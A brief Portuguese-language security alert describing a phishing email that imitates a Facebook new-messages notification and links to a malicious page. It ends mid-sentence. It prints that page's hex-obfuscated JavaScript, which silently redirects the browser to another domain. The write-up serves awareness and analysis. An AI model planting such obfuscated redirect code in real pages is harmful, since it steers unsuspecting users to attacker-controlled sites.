Email que clona uma notificação do Facebook de novas mensagens encaminha para um site malicioso. Assunto do email: [Username], you have pending messages Se a vítima clicar num dos dois botões que acompanham o email, este vai para o site: ip_malicioso/~up1adstop/coldness.php O código-fonte deste site (ofuscado): bch1=”\x30″;yva2=”\x68\x74\x74\x70\x3A\x2F\x2F\x74\x61\x62\x6C\x65\x74\x6D\x65\x64 \x69\x63\x61\x72\x65\x73\x2E\x65\x75″; setTimeout(“\x77\x69\x6E\x64\x6F\x77\x2E\x74\x6F\x70\x2E\x6C\x6F\x63\x61\x74\x69\x6F \x6E\x2E\x68\x72\x65\x66\x3D\x79\x76 \x61\x32\x3B”,bch1); … que depois de […]
↧